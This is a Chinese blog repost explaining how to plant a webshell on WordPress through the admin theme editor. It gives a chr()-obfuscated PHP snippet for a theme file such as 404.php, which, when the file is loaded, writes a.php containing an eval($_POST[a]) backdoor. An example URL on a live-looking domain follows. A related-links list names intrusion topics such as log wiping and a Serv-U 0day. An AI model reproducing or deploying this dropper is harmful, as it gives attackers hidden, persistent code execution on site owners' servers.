当前位置: 首页 > news >正文

wordpress 拿webshell

别的地方看到的

留着以后备用

进入后台

后台-外观-编辑,随便找一个文件插入以下代码

 <script language="php">fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62));</script>

然后访问下该文件,比如是默认主题我插的404.php那么直接访问

http://0day.kr/wp-content/themes/default/404.php

,这样就在该目录下生成a.php的一句话,密码是a

相关文章:

  • 基于php+Mysql的SQL Injection 攻击技术
  • 入侵后完美清理日志的总结
  • Linux命令行下WEP密码破解(通用,也可非BT平台)
  • FOR语句提权中基础语法
  • 打造LINUX系统安全
  • Kivlad--Android上的二进制文件的反编译工具
  • IT 缩略语
  • CDN获取真实IP
  • Dede CMS All Versions SQL
  • SQLMAP使用方法
  • 解决Fckeditor删除所有上传页面如何上传
  • shell突破web防火墙访问
  • serv-u最新通杀所有版本0day
  • Nginx简单防御CC攻击
  • Linux系统防火墙防止DOS和DDOS攻击
  • Android组件 - 收藏集 - 掘金
  • Apache的80端口被占用以及访问时报错403
  • AWS实战 - 利用IAM对S3做访问控制
  • CentOS 7 修改主机名
  • eclipse(luna)创建web工程
  • IIS 10 PHP CGI 设置 PHP_INI_SCAN_DIR
  • leetcode378. Kth Smallest Element in a Sorted Matrix
  • MySQL的数据类型
  • python 学习笔记 - Queue Pipes,进程间通讯
  • spring学习第二天
  • 和 || 运算
  • 每天一个设计模式之命令模式
  • 微信支付JSAPI,实测!终极方案
  • 用jquery写贪吃蛇
  • No resource identifier found for attribute,RxJava之zip操作符
  • ( )的作用是将计算机中的信息传送给用户,计算机应用基础 吉大15春学期《计算机应用基础》在线作业二及答案...
  • (NO.00004)iOS实现打砖块游戏(十二):伸缩自如,我是如意金箍棒(上)!
  • (大众金融)SQL server面试题(1)-总销售量最少的3个型号的车及其总销售量
  • (翻译)Entity Framework技巧系列之七 - Tip 26 – 28
  • (分布式缓存)Redis分片集群
  • (附源码)springboot家庭装修管理系统 毕业设计 613205
  • (理论篇)httpmoudle和httphandler一览
  • (一)【Jmeter】JDK及Jmeter的安装部署及简单配置
  • (转)PlayerPrefs在Windows下存到哪里去了?
  • (转)关于多人操作数据的处理策略
  • ... 是什么 ?... 有什么用处?
  • .bat批处理(八):各种形式的变量%0、%i、%%i、var、%var%、!var!的含义和区别
  • .NET Core 网络数据采集 -- 使用AngleSharp做html解析
  • .NET Core/Framework 创建委托以大幅度提高反射调用的性能
  • .Net 代码性能 - (1)
  • .NET设计模式(8):适配器模式(Adapter Pattern)
  • .Net语言中的StringBuilder:入门到精通
  • @Builder用法
  • [ vulhub漏洞复现篇 ] Jetty WEB-INF 文件读取复现CVE-2021-34429
  • [ARM]ldr 和 adr 伪指令的区别
  • [BT]BUUCTF刷题第9天(3.27)
  • [EFI]DELL XPS13 9360电脑 Hackintosh 黑苹果efi引导文件
  • [exgcd] Jzoj P1158 荒岛野人
  • [fsevents@^2.1.2] optional install error: Package require os(darwin) not compatible with your platfo
  • [go 反射] 进阶